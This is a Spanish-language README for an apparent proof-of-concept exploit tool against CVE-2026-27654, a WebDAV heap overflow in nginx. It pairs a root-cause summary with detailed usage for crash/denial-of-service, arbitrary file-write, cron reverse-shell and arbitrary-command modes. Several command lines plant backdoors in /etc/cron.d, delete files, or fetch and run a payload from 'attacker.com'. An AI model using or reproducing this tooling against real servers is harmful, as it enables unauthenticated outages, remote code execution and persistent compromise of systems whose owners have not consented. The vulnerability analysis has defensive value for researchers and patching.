
Prueba de concepto y análisis técnico para CVE-2026-27654, una vulnerabilidad de desbordamiento de búfer basado en montón en el módulo HTTP WebDAV de NGINX, incluidos el análisis de causa raíz, la reproducción y la mitigación.
# CVE-2026-27654 – PoC del manejo de rutas DAV Alias en el módulo ngx_http_dav_module de nginx
Este repositorio proporciona un exploit de prueba de concepto para **CVE‑2026‑27654**, una vulnerabilidad de desbordamiento de montón (heap overflow) en el módulo `ngx_http_dav_module` de nginx. El fallo surge de un subdesbordamiento de `size_t` al manejar solicitudes `MOVE`/`COPY` con cabeceras `Destination` especialmente manipuladas y ubicaciones basadas en `alias`.
> **⚠️ Descargo de responsabilidad:** Esta herramienta está destinada **únicamente a investigación y pruebas de seguridad autorizadas**. Úsala solo contra sistemas que poseas o para los que tengas permiso explícito para realizar pruebas. Los autores no asumen ninguna responsabilidad por el mal uso.
<p align="center">
<img src="https://raw.githubusercontent.com/Debajyoti0-0/CVE-2026-27654-PoC/main/Image.png" alt="Logo de CVE-2026-27654">
</p>
## 🔥 Resumen de la vulnerabilidad
**CVE-2026-27654** es un **desbordamiento de búfer basado en montón** (heap-based buffer overflow) desencadenable de forma remota en el módulo HTTP WebDAV de NGINX, causado por un **subdesbordamiento de enteros** en `ngx_http_dav_copy_move_handler()` (`src/http/modules/ngx_http_dav_module.c`). La vulnerabilidad ocurre cuando la longitud de la URI de destino se obtiene restando el prefijo de ubicación configurado de la ruta de la cabecera `Destination`. Debido a que ambos operandos son de tipo `size_t`, una ruta de destino más corta hace que la resta se envuelva hasta un valor casi máximo sin signo.
La longitud envuelta se usa posteriormente como argumento de tamaño para `memcpy()`, lo que resulta en una escritura fuera de límites en el montón que corrompe la memoria y bloquea inmediatamente el proceso worker de NGINX. Un atacante remoto no autenticado puede desencadenar esta condición de forma fiable con una única solicitud **MOVE** o **COPY** manipulada que apunte a una ubicación WebDAV mapeada mediante `alias`. Aunque el proceso maestro de NGINX reinicia automáticamente los workers fallidos, las solicitudes repetidas pueden mantener el servicio en un bucle continuo de caídas de workers, lo que resulta en una `Denegación de servicio (DoS)` persistente.
AddressSanitizer (ASan) valida la vulnerabilidad con un error `negative-size-param` en `memcpy()`, trazando la ruta de ejecución desde `ngx_http_dav_copy_move_handler()` hasta `ngx_http_core_module.c`. La vulnerabilidad afecta a **NGINX 0.5.13–1.28.2 (stable)** y **1.29.0–1.29.6 (mainline)** cuando se compila con `--with-http_dav_module` y se configura con la directiva `alias`. El problema se corrigió en **NGINX 1.28.3** y **1.29.7** (commit `ab4b5b8`, `PR #1210`) mediante la validación adecuada de la longitud calculada de la ruta de destino antes de las operaciones de memoria.
## ✨ Características
- **Selección interactiva de modo** – elige entre cuatro modos de operación en tiempo de ejecución (crash, write‑file, cron‑shell, cron‑cmd) con un menú numerado claro.
- **Disparador de crash** – envía la solicitud canónica `MOVE`/`COPY` que provoca el subdesbordamiento de `size_t` y bloquea el worker vulnerable.
- **Modo write‑file** – sube contenido arbitrario a cualquier ubicación del sistema de archivos (requiere un entorno de laboratorio con `alias` escribible).
- **Entrega cron‑shell** – despliega un trabajo cron de reverse shell en `/etc/cron.d/`, con avisos interactivos para `LHOST`/`LPORT` y un recordatorio para iniciar el listener.
- **Entrega cron‑cmd** – ejecuta un comando personalizado mediante cron; acepta entrada interactiva o el flag `--cron-command`.
- **Comprobación de vulnerabilidad** (`--check`) – modo no interactivo que ejecuta la prueba de crash e imprime un veredicto claro `[VULNERABLE]` / `[NOT VULNERABLE]`, saliendo con el código 0 o 1.
- **Soporte de proxy HTTP** (`--proxy`) – enruta todas las solicitudes a través de un proxy HTTP/HTTPS (p. ej., Burp Suite, mitmproxy) para depuración o inspección de tráfico.
- **Manejo inteligente de archivos** – comprueba si el archivo desencadenante ya existe (mediante HEAD/GET) y omite el PUT si está presente, evitando subidas innecesarias.
- **Opciones flexibles de payload** – proporciona payloads mediante `--payload-file` (binario), `--payload-text` (texto literal), o usa el contenido de prueba por defecto.
- **Argumentos de línea de comandos completos** – ajusta cada aspecto del exploit: `--destination-path`, `--alias-len`, `--escape-depth`, `--method`, `--location-prefix` y más.
- **Respaldo robusto** – si la librería `requests` no está instalada, el script usa como respaldo el módulo estándar `http.client` de Python (el soporte de proxy está deshabilitado en el modo de respaldo).
## 📦 Instalación
```bash
git clone https://github.com/Debajyoti0-0/CVE-2026-27654-PoC.git
cd CVE-2026-27654-PoC
pip install -r requirements.txt
```
## 🚀 Uso
### Modo interactivo (menú)
```bash
python exploit.py --target 192.168.1.100:8080
```
Se te presentará un menú numerado y se te pedirá que selecciones un modo.
### Comprobación de vulnerabilidad (no interactivo)
```bash
python exploit.py --target 192.168.1.100:8080 --check
```
Esto fuerza el modo **crash**, ejecuta el exploit e imprime `[VULNERABLE]` o `[NOT VULNERABLE]` antes de salir con el código `0` o `1`.
### Con un proxy HTTP
```bash
python exploit.py --target 192.168.1.100:8080 --proxy http://127.0.0.1:8080
```
Todas las solicitudes HTTP se enviarán a través del proxy especificado (útil para depurar con Burp).
## ⚙️ Referencia de opciones
| Flag | Descripción | Ejemplo |
|------|-------------|---------|
| `--target HOST:PORT` | Instancia nginx objetivo (por defecto: `127.0.0.1:8080`). | `--target 10.0.0.5:80` |
| `--verbose`, `-v` | Muestra las respuestas HTTP completas (cabeceras y cuerpo). | `-v` |
| `--no-put` | Omite el PUT inicial (asume que el archivo desencadenante ya existe). Útil para pruebas repetidas. | `--no-put` |
| `--location-prefix` | Prefijo de ubicación DAV (por defecto: `/uploads/`). Debe coincidir con la ubicación `alias` en la configuración de nginx. | `--location-prefix /dav/` |
| `--remote-name` | Nombre del archivo fuente remoto colocado dentro de la ubicación DAV (por defecto: `triggerfile.txt`). | `--remote-name test.txt` |
| `--method {MOVE,COPY}` | Método DAV que se usará para la solicitud de destino (por defecto: `MOVE`). | `--method COPY` |
| `--destination-path` | Ruta URI de destino – se usa para la aritmética del crash o como ruta de archivo final en los modos de entrega. | `--destination-path /etc/cron.d/backdoor` |
| `--alias-len` | Longitud de la cadena `alias` configurada (se usa para la visualización de la aritmética del crash, por defecto `13`). | `--alias-len 20` |
| `--escape-depth` | Número de componentes de ruta `../` para escapar de la raíz DAV (por defecto `1`). | `--escape-depth 3` |
| `--payload-file` | Archivo local que se subirá como payload. Sobrescribe el contenido de prueba por defecto. | `--payload-file ./shell.php` |
| `--payload-text` | Payload de texto literal para el modo `write-file`. | `--payload-text "<?php phpinfo(); ?>"` |
| `--lhost` | Host de callback del reverse shell (para `cron-shell`). Si se omite, el script lo solicita de forma interactiva. | `--lhost 192.168.1.50` |
| `--lport` | Puerto de callback del reverse shell (para `cron-shell`). | `--lport 4444` |
| `--cron-command` | Comando a ejecutar mediante cron (para `cron-cmd`). Si se omite, el script lo solicita de forma interactiva. | `--cron-command "rm -rf /tmp/*"` |
| `--wait` | Segundos de espera después de la entrega del cron para que el trabajo se ejecute (por defecto `65`). | `--wait 120` |
| `--check` | Ejecuta la comprobación de vulnerabilidad (prueba de crash, no interactiva). Muestra `VULNERABLE`/`NOT VULNERABLE` y sale con el código 0/1. | `--check` |
| `--proxy PROXY_URL` | URL de proxy HTTP/HTTPS (p. ej., `http://127.0.0.1:8080`). Requiere la librería `requests`. | `--proxy http://127.0.0.1:8080` |
> **Nota:** La mayoría de las opciones son opcionales. El script solicitará los argumentos obligatorios que falten (p. ej., `--lhost`/`--lport` para `cron-shell`) si no se proporcionan.
## 🧪 Modos en detalle
### 1. `crash`
Envía la solicitud `MOVE` (o `COPY`) manipulada que provoca el subdesbordamiento de `size_t`. El servidor bloqueará el proceso worker. Si el proceso maestro está configurado correctamente, generará un nuevo worker.
**Ejemplo:**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 1 (crash)
```
### 2. `write-file`
Sube un archivo a una ubicación arbitraria del sistema de archivos. Esto solo funciona si la ubicación DAV está respaldada por un `alias` que apunte a un directorio escribible y la ruta `Destination` está manipulada para escapar de la raíz DAV. **Úsalo solo en entornos de laboratorio autorizados.**
**Ejemplo:**
```bash
python exploit.py --target 10.0.0.5:80 --payload-text "evil" --destination-path /tmp/evil.txt
# Select mode 2 (write-file)
```
### 3. `cron-shell`
Coloca un trabajo cron de reverse shell en `/etc/cron.d/`.
Cuando selecciones este modo, el script te pedirá:
- **LHOST** – tu IP de escucha
- **LPORT** – tu puerto de escucha
A continuación, mostrará el comando del listener de netcat y esperará a que pulses **Enter** una vez que tu listener esté en ejecución.
**Ejemplo (pre‑rellenado):**
```bash
python exploit.py --target 10.0.0.5:80 --lhost 192.168.1.50 --lport 4444
# Select mode 3 (cron-shell)
```
### 4. `cron-cmd`
Coloca un comando personalizado (proporcionado interactivamente o mediante `--cron-command`) en `/etc/cron.d/`. Esto es útil para ejecutar comandos arbitrarios del sistema.
**Ejemplo (interactivo):**
```bash
python exploit.py --target 10.0.0.5:80
# Select mode 4, then enter command when prompted
```
**Ejemplo (pre‑rellenado):**
```bash
python exploit.py --target 10.0.0.5:80 --cron-command "id > /tmp/owned"
# Select mode 4 (cron-cmd)
```
## 📝 Ejemplo de flujo de trabajo (Reverse Shell)
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 3
Enter reverse shell callback host (--lhost): 192.168.1.50
Enter reverse shell callback port (--lport): 4444
[*] Please start your netcat listener in a new terminal:
nc -lvnp 4444
[*] Press Enter once your listener is running...
[press Enter]
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Reverse shell should connect shortly.
```
## 📝 Ejemplo de flujo de trabajo (Ejecución de comandos)
Este ejemplo demuestra el uso de `cron-cmd` para ejecutar un comando en el sistema objetivo sin necesidad de un listener.
### Modo interactivo
```bash
$ python exploit.py --target 192.168.1.100:8080
Available modes:
1. crash - Trigger the heap overflow crash
2. write-file - Write arbitrary content to an arbitrary location (authorized lab)
3. cron-shell - Deploy a reverse shell via /etc/cron.d
4. cron-cmd - Deploy a custom cron job
Select mode (number or name): 4
Enter the command to run in cron (--cron-command): id > /tmp/owned
... (script performs the exploitation) ...
[+] Destination request accepted (201).
[*] Waiting 65s for cron execution...
[+] Command should have executed. Check /tmp/owned on the target.
```
### Pre‑rellenado (no interactivo)
```bash
python exploit.py --target 192.168.1.100:8080 --cron-command "wget http://attacker.com/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"
# Select mode 4 (cron-cmd)
```
El script usará automáticamente el `--cron-command` proporcionado y omitirá el aviso interactivo, lo que lo hace adecuado para la automatización.
## 🛠️ Creación de un entorno de pruebas vulnerable
Para probar este PoC en un entorno controlado, puedes compilar nginx desde el código fuente con `--with-http_dav_module` y configurar una ubicación con `alias` y `dav_methods`. Se incluye una configuración Docker de ejemplo (próximamente).
## Referencias
- https://nginx.org/en/security_advisories.html
- https://github.com/nginx/nginx/commit/ab4b5b8
- https://github.com/nginx/nginx/pull/1210
## 📜 Licencia
Este proyecto está licenciado bajo la Licencia GNU v3.0; consulta el archivo [LICENSE](https://github.com/debajyoti0-0/cve-2026-27654-poc/blob/main/LICENSE) para más detalles.
## 🤝 Contribuciones
Se aceptan issues y pull requests. Asegúrate de que tus contribuciones sigan las mismas pautas de uso ético.
>**Recuerda:** Obtén siempre la autorización adecuada antes de probar cualquier herramienta de seguridad. ¡Mantente ético!